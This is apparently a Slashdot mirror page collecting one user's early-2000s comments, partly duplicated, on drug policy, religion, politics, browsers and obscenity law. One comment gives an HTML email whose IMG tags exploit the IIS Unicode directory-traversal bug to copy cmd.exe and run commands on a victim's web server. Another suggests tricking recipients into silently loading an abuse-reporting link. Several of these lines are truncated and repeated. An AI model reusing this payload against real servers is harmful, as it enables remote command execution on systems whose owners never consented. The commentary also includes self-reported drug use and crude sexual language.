When I was a kid. I was always the smallest in my class and I got bullied relentlessly. I remember fantasizing constantly about exacting revenge on my tormentors. I am very glad I had no access to weapons, as I might well have used them. The worst punishment I was able to inflict was with a cast I had on my arm. I bonked one of those fuckers over the head and he ran home crying to his mother.
I am so sick of hearing the politicians blow smoke with their stupid ideas such as hanging the ten commandments in school or making students address their teachers as sir or ma'am or blaming the internet (like our wonderful idiot in chief) or blaming video games, etc.
If I really had to pin blame on something, perhaps one factor is the fact that we have an entire generation of latchkey kids and we have some situation that is loosely analagous to "Lord of the Flies." For instance, it has been demonstrated in the laboratory that juvenile rats, removed from their parents and put in cages together become much more aggressive and violent.
I just tried the 1 atm. plasma experiment and it is even better than AOL CD's or pencils. It totally freaked out my wife to boot. I highly recommend trying this.
Warning: His Kiddie Porn link is a reporting system!
I already clicked on it after reading his post. It made me really angry. This could easily be abused. I could just make the text of the link "come to Jesus" or "Fight child pornography" and dupe innocents into clicking on it. Perhaps I could just do something like:
and send this in an html formatted mail to people I don't like. If they were clueless, they'd only see a broken picture link. This is a really bad idea and encourages a witch hunt.
Re:Backdoor challenge for you hackers...
on
NSA Linux In Depth
·
· Score: 1
I don't use C/C++, but instead use Java and f90. When I am developing a code in f90, the first time I compile and run it, I use the bounds checking compiler flag to see if I stepping somewhere I did not intend to. I would expect that this would be caught in a similar way assuming gcc has such an option.
So god, who is supposedly all loving and omnipotent, created this universe and created these little, barely significant beings on a little average planet around an average star whose sole purpose of existence is to stroke god's ego with praise and if they don't then god will torture them forever in hell. If this is the case then god must be pretty insecure and perhaps I could recommend a good psychiatrist. It's kind of like raising butterflies for the sole pupose of pulling the wings off of them.
If you want to see how Bush's environmental policy affected the air and water quality in Texas, I recommend reading Molly Ivan's
essay on the subject. It is pretty scary.
So your saying I just need my pirate "installation" ethernet card along with my pirate installation disk? Does it check the MAC address *after* it is installed? This way I can just switch network cards after the install:)
> Yeah, but consider smokes. Outside of any high school there are tons of kids smoking. Even when it is legislated that anyone selling to minors is a criminal offence it still happens -- the kids just get poor fake ID's and the shop keepers look the other way and have an easy way out.
Smokes are not a good comparison since they were actively marketed towards children and were easily avaiable through vending machines. Also the penalty for store clerks was minimal. This is beginning to change in the US. Alcohol is similar too in this regard.
> Um, partial slip up - I know this is out of context of what you're trying to say - but say what? The whole point of our legislative and judicial system is to uphold a moral standard. This goes all the way back to the smallest hunter gatherer societies.
Whose version morality do we legislate then? Mine? Yours? Bill Clinton's? Ralph Reed's? The best we can do is to take morality out of the equation and simply provide protections from one another. Killing or raping my neighbor violates their civil rights and therefore warrants a law against it. My 1/4 Oz. a year marijuana habit does not.
> Well used in moderation I'm sure that pot can add to your well being. Unfortunately if you smoked up every day you would start running into problems. I've had weed several times, and while I could maintain my composure, everything was funny - and I certainly could not do anything intellectual.
Moderation is the key to life, no? Get drunk every day and see what happens. I think the end result would not be much different. In fact my brother smokes pot many times a day. He is pretty dysfunctional. I've had some of my most profound thoughts when I was stoned. Evidently, Carl Sagan did too. I agree though that I would not want to work on any mathematics or coding though.
> Anyway, I made a point of excluding pot out of the argument in my original post. Can you make the same arguments for crack or lsd?
Since crack can kill you instantly, I think it would be a bit dangerous to sell it. I think I would handle that more like methadone. In fact, I used to smoke a lot of crack when I was around 18. One day I took some mushrooms and I realized the error of my ways and I never smoked it again and returned to college and got my degree. I think LSD and mushrooms can really open your mind in some ways. That said, I do not know how we could distribute it because it can be very dangerous too if people were to drive on it. Perhaps a "tripping spa" or something where you could remain in a controlled environment for 8 - 12 hours?
> I'm still not sure I agree with this. Evincing helplessness makes it seem so black and white. According to the statistics I posted, not even half of students could (at least easily) get ahold of harder drugs. I believe that in that case it is a victory - even if the ultimate objective before enlightened assesment of reality was that it isn't possible.
So far, I have noted that nobody can help my brother. He's been through it all. No law can help him save him from himself. He has a lot of friends that are just like him too. Many of these people are just beyond help and warehousing them in jail does no good. He's been there, done that and it just made him worse.
> Will legalization increase the proportion of people to whom drugs are available? (yes)
When I was in high school, drugs were easy to obtain. They were as close as the guy in the next locker. Alcohol was much harder to get. You had to stand in front of the liquor store and ask people coming in to buy it for you.
> Would the legalization of said drugs decrease their stigma and increase use?
You must also consider human nature: We always want what we cannot have.
It would also help if people were more informed about the true nature of these drugs. There is a lot of misinformation out there. For instance, I am 33 years old and have been smoking pot regularly (about once a week) since I was 12. I had a 3.9 GPA in physics for my B.S. and am about to get my PhD (I am all but dissertation) and work at NASA doing computational fluid dynamics. I also might add that I am not the only one in the physics dept. that smokes. Yet all I hear from our gov't. is that pot makes one slothful and stupid. I think this is bunk.
> Is liquor a good example of potential effects of cocaine/crack, etc?
This is kind of a loaded question. When you prohibit a substance such as cocaine, the drug tends to increase in potency, thereby maximizing profits for the black marketeers. The native Columbians have been chewing coca leaves for centuries with no ill effects. One other danger of prohibition is that there is no regulation on content or potency. Differences in potency and adulterants are usually the cause of death by these drugs.
> Does anyone really care or do they just view it as a sort of cultural selection akin to natural selection except it isn't about genes - more about class and social interactions. In other words - if someone wants to be a druggie and ruin their life on crack/cocaine we should just let them smear themselves out?
I think that the government needs to learn that you cannot legislate morality, patriotism or religion. What I do in my little dungeon is my own business as long as I do not intrude on the civil rights of others. Similarly, the government cannot save us from ourselves. There is a certain portion of the population that is just going to make stupid decisions and there is nothing anyone can do about it.
>
You're probably talking primarily about weed use - and I don't see it as that bad - but what about other drugs? Although, even weed, E, and some of our legalized drugs are just easy ways out and can and will still ruin lives.
I think the number of ruined lives would actually decrease. There are people who have been put in jail for very long time (30 years) for nothing more than passing a joint at a party (not smoking, not selling, but passing). The only country that has more people in prison per capita is Russia. This is an absolute outrage and I wish the stupid American people would wake up.
foo
My idea on how to solve the "drug problem"
on
"Traffic"
·
· Score: 1
1) Release all political prisoners (i.e., nonviolent drug offenders).
2) Consolidate the remaining prisoners. This will leave many prisons empty.
3) Take all the drug warriors like McCaffery, Lott, Hatch, Helms, etc. and put them in the empty prisons.
4) Define the outside of the former prisons in step 3 as "prison".
5) Define the inside of the former prison as "America".
6) Now "America" is "drug free" and all the "drug offenders" are in "prison" and everyone is happy.
Have you tried some of the nightly builds of Mozilla lately? I remember trying it quite a while ago, just to dismiss it as hopelessly broken. I decided to give it another try and now and was pleased enough with it that I've completely dumped Netscape 4.76. I think the Mozilla team deserves kudos. As for it being bloated, I haven't noticed, but then again I have a fairly stout machine.
Not only does it work, but you can send the following as an email and have someone else do whatever you want for you, provided they have an HTML capable mail reader.
<html>
<head>
<title> Thanks for cracking your webserver for me! </title>
</head>
So maybe dubya should not be allowed to vote? He is a welfare recipient. He built his Rangers stadium on the backs of the taxpayers. In Texas, a child under welfare gets a whopping $38.00/month. That means dubya's baseball stadium deal (which is just layered in sleaze) is the equivilent of funding 300,000 welfare children for one year. In fact, he has had a free ride through life on his name alone. He even said himself "I am all name and no money."
As an aside, I have always wondered why those outraged at social welfare never mention corporate welfare recipients. Neither Microsoft nor Cisco pay any taxes. What about ADM? They receive all kinds of taxpayer money. I am pretty sure the spending on corporate welfare is an order of magnitude or two larger than welfare for the unfortunate.
Read more about the shrub here .
Did you not read this article? Evidently the shrinkwrap license absolves Bill of all responsibility. You'd think that after the "ILOVEYOU" debacle, companies would be lining up around the corner to sue Microsoft. Outlook has effectively done what Trinoo and Stacheldraht could only dream of doing. I guess incorporating a DDOS tool inside a mail reader is Bill's idea of innovation? Maybe he wants a monopoly on DDOS clients too:)
-- Don't throw your computers out the windows. Throw the Windows out of your computers.
I think you need some reading in basic thermodynamics. Entropy only must increase in an isolated system approaching equilibrium. We have this thing called the sun which nullifies your argument.
As long as we are quoting Einstien, here are some more:
"I cannot conceive of a God who rewards and punishes his creatures, or has a will of the kind that we experience in ourselves. Neither can I nor would I want to conceive of an individual that survives his physical death; let feeble souls, from fear or absurd egoism, cherish such thoughts. I am satisfied with the mystery of the eternity of life and with the awareness and a glimpse of the marvelous structure of the existing world, together with the devoted striving to comprehend a portion, be it ever so tiny, of the Reason that manifests itself in nature." [Albert Einstein,_The World as I See It_]"
"A man's ethical behavior should be based effectually on sympathy, education, and social ties and needs; no religious basis is necessary. Man would indeed be in a poor way if he had to be restrained by fear of punishment and hope of reward after death." [Albert Einstein, "Religion and Science", New York Times Magazine, 9 November 1930]
"I do not believe in immortality of the individual, and I consider ethics to be an exclusively human concern with no superhuman authority behind it." ["Albert Einstein: The Human Side", edited by Helen Dukas and Banesh Hoffman, and published by Princeton University Press.]
"The foundation of morality should not be made dependent on myth nor tied to any authority lest doubt about the myth or about the legitimacy of the authority imperil the foundation of sound judgment and action." [Albert Einstein]
"If this being is omnipotent, then every occurrence, including every human action, every human thought, and every human feeling and aspiration is also His work; how is it possible to think of holding men responsible for their deeds and thoughts before such an almighty Being? In giving out punishment and rewards He would to a certain extent be passing judgment on Himself. How can this be combined with the goodness and righteousness ascribed to Him?" Albert Einstein, Out of My Later Years (New York: Philosophical Library, 1950), p. 27.
What you are describing is not democracy, but mob rule. We (in the US) live in a *representitive* democracy and we have this thing called a Constitution that contains another something called the Bill of Rights. Perhaps you should try reading them some time. What this means is:
1) that issues are deliberated and thought out before mindlessly enacting laws. Unfortunately, congress seems to be as reactionary as you are at times. Even so, bad law is hopefully vetoed by the president of deemed unconstitutional by the Supreme Court.
2) The minority has equal protection under the law. This is *protection* from the tyranny of the majority.
3) We have the right to privacy and to be secure in our homes.
4) We have the right to life, liberty and the pursuit of happiness. What I take this to mean is that when I am all alone in my dungeon, if I enjoy tossing off to pictures of transvestites coated in polyurethane (SP?) sucking off goats while being spanked and flogged by midgets, then that is ok.
And from my experience on the net, you really don't see porn unless you really go looking. Sounds to me like you've been venturing into the red light district a bit.
For a work to be declared obscene, it must fit several criterion:
0) First off, the work must be considered as a whole. Either the entire work is obscene or it is not at all. Playboy has articles, doesn't it? They are usually not very obscene.
1) It must appeal to the prurient interest in a patently offensive way. Pictures of Nekkid ladies is not *patently* offensive. Anyone who has ever had sex should not really have any reason to say that what is depicted in Playboy is patently offensive.
2) It must be devoid of any literary, scientific, artistic or political value. Playboy has all of these.
Slashdot Mirror
When I was a kid. I was always the smallest in my class and I got bullied relentlessly. I remember fantasizing constantly about exacting revenge on my tormentors. I am very glad I had no access to weapons, as I might well have used them. The worst punishment I was able to inflict was with a cast I had on my arm. I bonked one of those fuckers over the head and he ran home crying to his mother.
I am so sick of hearing the politicians blow smoke with their stupid ideas such as hanging the ten commandments in school or making students address their teachers as sir or ma'am or blaming the internet (like our wonderful idiot in chief) or blaming video games, etc.
If I really had to pin blame on something, perhaps one factor is the fact that we have an entire generation of latchkey kids and we have some situation that is loosely analagous to "Lord of the Flies." For instance, it has been demonstrated in the laboratory that juvenile rats, removed from their parents and put in cages together become much more aggressive and violent.
I just tried the 1 atm. plasma experiment and it is even better than AOL CD's or pencils. It totally freaked out my wife to boot. I highly recommend trying this.
You might also want to check out programs like George Mason's SCS (School of Computational Sciences) . This sort of thing is their speciality.
>It sure seems that President Bush did what any of
> you would do - in order to protect his privacy...
Nah, I'd just get an anonymous hushmail account.
So according to your logic, the UK and most of Europe as well as Japan should have authoritarian regimes, since gun ownership there is rare.
Warning: His Kiddie Porn link is a reporting system!
m l">
I already clicked on it after reading his post. It made me really angry. This could easily be abused. I could just make the text of the link "come to Jesus" or "Fight child pornography" and dupe innocents into clicking on it. Perhaps I could just do something like:
<img src="http://www.antioffline.com/old/kiddieporn.ht
and send this in an html formatted mail to people I don't like. If they were clueless, they'd only see a broken picture link. This is a really bad idea and encourages a witch hunt.
I don't use C/C++, but instead use Java and f90. When I am developing a code in f90, the first time I compile and run it, I use the bounds checking compiler flag to see if I stepping somewhere I did not intend to. I would expect that this would be caught in a similar way assuming gcc has such an option.
So god, who is supposedly all loving and omnipotent, created this universe and created these little, barely significant beings on a little average planet around an average star whose sole purpose of existence is to stroke god's ego with praise and if they don't then god will torture them forever in hell. If this is the case then god must be pretty insecure and perhaps I could recommend a good psychiatrist. It's kind of like raising butterflies for the sole pupose of pulling the wings off of them.
If you want to see how Bush's environmental policy affected the air and water quality in Texas, I recommend reading Molly Ivan's essay on the subject. It is pretty scary.
For what it is worth, I don't think the reference was anti-Semetic. I think it was a reference to Kyle's mom on South Park.
So your saying I just need my pirate "installation" ethernet card along with my pirate installation disk? Does it check the MAC address *after* it is installed? This way I can just switch network cards after the install :)
Thanks,
f00
> Yeah, but consider smokes. Outside of any high school there are tons of kids smoking. Even when it is legislated that anyone selling to minors is a criminal offence it still happens -- the kids just get poor fake ID's and the shop keepers look the other way and have an easy way out.
Smokes are not a good comparison since they were actively marketed towards children and were easily avaiable through vending machines. Also the penalty for store clerks was minimal. This is beginning to change in the US. Alcohol is similar too in this regard.
> Um, partial slip up - I know this is out of context of what you're trying to say - but say what? The whole point of our legislative and judicial system is to uphold a moral standard. This goes all the way back to the smallest hunter gatherer societies.
Whose version morality do we legislate then? Mine? Yours? Bill Clinton's? Ralph Reed's? The best we can do is to take morality out of the equation and simply provide protections from one another. Killing or raping my neighbor violates their civil rights and therefore warrants a law against it. My 1/4 Oz. a year marijuana habit does not.
> Well used in moderation I'm sure that pot can add to your well being. Unfortunately if you smoked up every day you would start running into problems. I've had weed several times, and while I could maintain my composure, everything was funny - and I certainly could not do anything intellectual.
Moderation is the key to life, no? Get drunk every day and see what happens. I think the end result would not be much different. In fact my brother smokes pot many times a day. He is pretty dysfunctional. I've had some of my most profound thoughts when I was stoned. Evidently, Carl Sagan did too. I agree though that I would not want to work on any mathematics or coding though.
> Anyway, I made a point of excluding pot out of the argument in my original post. Can you make the same arguments for crack or lsd?
Since crack can kill you instantly, I think it would be a bit dangerous to sell it. I think I would handle that more like methadone. In fact, I used to smoke a lot of crack when I was around 18. One day I took some mushrooms and I realized the error of my ways and I never smoked it again and returned to college and got my degree. I think LSD and mushrooms can really open your mind in some ways. That said, I do not know how we could distribute it because it can be very dangerous too if people were to drive on it. Perhaps a "tripping spa" or something where you could remain in a controlled environment for 8 - 12 hours?
> I'm still not sure I agree with this. Evincing helplessness makes it seem so black and white. According to the statistics I posted, not even half of students could (at least easily) get ahold of harder drugs. I believe that in that case it is a victory - even if the ultimate objective before enlightened assesment of reality was that it isn't possible.
So far, I have noted that nobody can help my brother. He's been through it all. No law can help him save him from himself. He has a lot of friends that are just like him too. Many of these people are just beyond help and warehousing them in jail does no good. He's been there, done that and it just made him worse.
> Will legalization increase the proportion of people to whom drugs are available? (yes)
When I was in high school, drugs were easy to obtain. They were as close as the guy in the next locker. Alcohol was much harder to get. You had to stand in front of the liquor store and ask people coming in to buy it for you.
> Would the legalization of said drugs decrease their stigma and increase use?
You must also consider human nature: We always want what we cannot have.
It would also help if people were more informed about the true nature of these drugs. There is a lot of misinformation out there. For instance, I am 33 years old and have been smoking pot regularly (about once a week) since I was 12. I had a 3.9 GPA in physics for my B.S. and am about to get my PhD (I am all but dissertation) and work at NASA doing computational fluid dynamics. I also might add that I am not the only one in the physics dept. that smokes. Yet all I hear from our gov't. is that pot makes one slothful and stupid. I think this is bunk.
> Is liquor a good example of potential effects of cocaine/crack, etc?
This is kind of a loaded question. When you prohibit a substance such as cocaine, the drug tends to increase in potency, thereby maximizing profits for the black marketeers. The native Columbians have been chewing coca leaves for centuries with no ill effects. One other danger of prohibition is that there is no regulation on content or potency. Differences in potency and adulterants are usually the cause of death by these drugs.
> Does anyone really care or do they just view it as a sort of cultural selection akin to natural selection except it isn't about genes - more about class and social interactions. In other words - if someone wants to be a druggie and ruin their life on crack/cocaine we should just let them smear themselves out?
I think that the government needs to learn that you cannot legislate morality, patriotism or religion. What I do in my little dungeon is my own business as long as I do not intrude on the civil rights of others. Similarly, the government cannot save us from ourselves. There is a certain portion of the population that is just going to make stupid decisions and there is nothing anyone can do about it.
>
You're probably talking primarily about weed use - and I don't see it as that bad - but what about other drugs? Although, even weed, E, and some of our legalized drugs are just easy ways out and can and will still ruin lives.
I think the number of ruined lives would actually decrease. There are people who have been put in jail for very long time (30 years) for nothing more than passing a joint at a party (not smoking, not selling, but passing). The only country that has more people in prison per capita is Russia. This is an absolute outrage and I wish the stupid American people would wake up.
foo
1) Release all political prisoners (i.e., nonviolent drug offenders).
2) Consolidate the remaining prisoners. This will leave many prisons empty.
3) Take all the drug warriors like McCaffery, Lott, Hatch, Helms, etc. and put them in the empty prisons.
4) Define the outside of the former prisons in step 3 as "prison".
5) Define the inside of the former prison as "America".
6) Now "America" is "drug free" and all the "drug offenders" are in "prison" and everyone is happy.
Yes. Under the Debug menu, there is an option for install PSM (Personal Security Manager).
Have you tried some of the nightly builds of Mozilla lately? I remember trying it quite a while ago, just to dismiss it as hopelessly broken. I decided to give it another try and now and was pleased enough with it that I've completely dumped Netscape 4.76. I think the Mozilla team deserves kudos. As for it being bloated, I haven't noticed, but then again I have a fairly stout machine.
Not only does it work, but you can send the following as an email and have someone else do whatever you want for you, provided they have an HTML capable mail reader.
/ winnt/system32/cmd.exe?/c+cop
/ inetpub/scripts/cmd1.exe?/c+e
<html>
<head>
<title> Thanks for cracking your webserver for me! </title>
</head>
<body>
<IMG SRC="http://www.victimhost.com/scripts/..%c1%9c..
y+..\..\winnt\system32\cmd.exe+cmd1.exe">
<IMG SRC="http://www.victimhost.com/scripts/..%c1%9c..
cho+YOU_ARE_CRACKED+>YOU_ARE_CRACKED&dir&am p;type+YOU_ARE_CRACKED">
</body>
</html>
Of course, this is a bit garbled, but the point is clear.
So maybe dubya should not be allowed to vote? He is a welfare recipient. He built his Rangers stadium on the backs of the taxpayers. In Texas, a child under welfare gets a whopping $38.00/month. That means dubya's baseball stadium deal (which is just layered in sleaze) is the equivilent of funding 300,000 welfare children for one year. In fact, he has had a free ride through life on his name alone. He even said himself "I am all name and no money."
As an aside, I have always wondered why those outraged at social welfare never mention corporate welfare recipients. Neither Microsoft nor Cisco pay any taxes. What about ADM? They receive all kinds of taxpayer money. I am pretty sure the spending on corporate welfare is an order of magnitude or two larger than welfare for the unfortunate.
Read more about the shrub here .
-- Don't throw your computers out the windows. Throw the Windows out of your computers.
Maybe we should begin to consider Outlook as a DDOS tool? It sure seems to be a very effective one.
--
Don't throw your computers out the windows. Throw the Windows out of
your computers.
I really think Microsoft has been getting a lot of things backwards. I think a more appropriate name for Outlook would have been Lookout!
--
Don't throw your computers out the windows. Throw the Windows out of
your computers.
I think you need some reading in basic thermodynamics. Entropy only must increase in an isolated system approaching equilibrium. We have this thing called the sun which nullifies your argument.
As long as we are quoting Einstien, here are some more:
"I cannot conceive of a God who rewards and punishes his creatures, or has a
will of the kind that we experience in ourselves. Neither can I nor would I
want to conceive of an individual that survives his physical death; let feeble
souls, from fear or absurd egoism, cherish such thoughts. I am satisfied with
the mystery of the eternity of life and with the awareness and a glimpse of
the marvelous structure of the existing world, together with the devoted
striving to comprehend a portion, be it ever so tiny, of the Reason that
manifests itself in nature."
[Albert Einstein,_The World as I See It_]"
"A man's ethical behavior should be based effectually on sympathy,
education, and social ties and needs; no religious basis is necessary.
Man would indeed be in a poor way if he had to be restrained by fear
of punishment and hope of reward after death."
[Albert Einstein, "Religion and Science",
New York Times Magazine, 9 November 1930]
"I do not believe in immortality of the individual, and I consider ethics
to be an exclusively human concern with no superhuman authority behind it."
["Albert Einstein: The Human Side", edited by Helen Dukas and Banesh
Hoffman, and published by Princeton University Press.]
"The foundation of morality should not be made dependent on myth nor tied
to any authority lest doubt about the myth or about the legitimacy of the
authority imperil the foundation of sound judgment and action."
[Albert Einstein]
"If this being is omnipotent, then every occurrence, including every
human action, every human thought, and every human feeling and
aspiration is also His work; how is it possible to think of holding
men responsible for their deeds and thoughts before such an almighty
Being? In giving out punishment and rewards He would to a certain
extent be passing judgment on Himself. How can this be combined
with the goodness and righteousness ascribed to Him?"
Albert Einstein, Out of My Later Years (New York: Philosophical
Library, 1950), p. 27.
What you are describing is not democracy, but mob rule. We (in the US) live in a *representitive* democracy and we have this thing called a Constitution that contains another something called the Bill of Rights. Perhaps you should try reading them some time. What this means is:
1) that issues are deliberated and thought out before mindlessly enacting laws. Unfortunately, congress seems to be as reactionary as you are at times. Even so, bad law is hopefully vetoed by the president of deemed unconstitutional by the Supreme Court.
2) The minority has equal protection under the law. This is *protection* from the tyranny of the majority.
3) We have the right to privacy and to be secure in our homes.
4) We have the right to life, liberty and the pursuit of happiness. What I take this to mean is that when I am all alone in my dungeon, if I enjoy tossing off to pictures of transvestites coated in polyurethane (SP?) sucking off goats while being spanked and flogged by midgets, then that is ok.
And from my experience on the net, you really don't see porn unless you really go looking. Sounds to me like you've been venturing into the red light district a bit.
For a work to be declared obscene, it must fit several criterion:
0) First off, the work must be considered as a whole. Either the entire work is obscene or it is not at all. Playboy has articles, doesn't it? They are usually not very obscene.
1) It must appeal to the prurient interest in a patently offensive way. Pictures of Nekkid ladies is not *patently* offensive. Anyone who has ever had sex should not really have any reason to say that what is depicted in Playboy is patently offensive.
2) It must be devoid of any literary, scientific, artistic or political value. Playboy has all of these.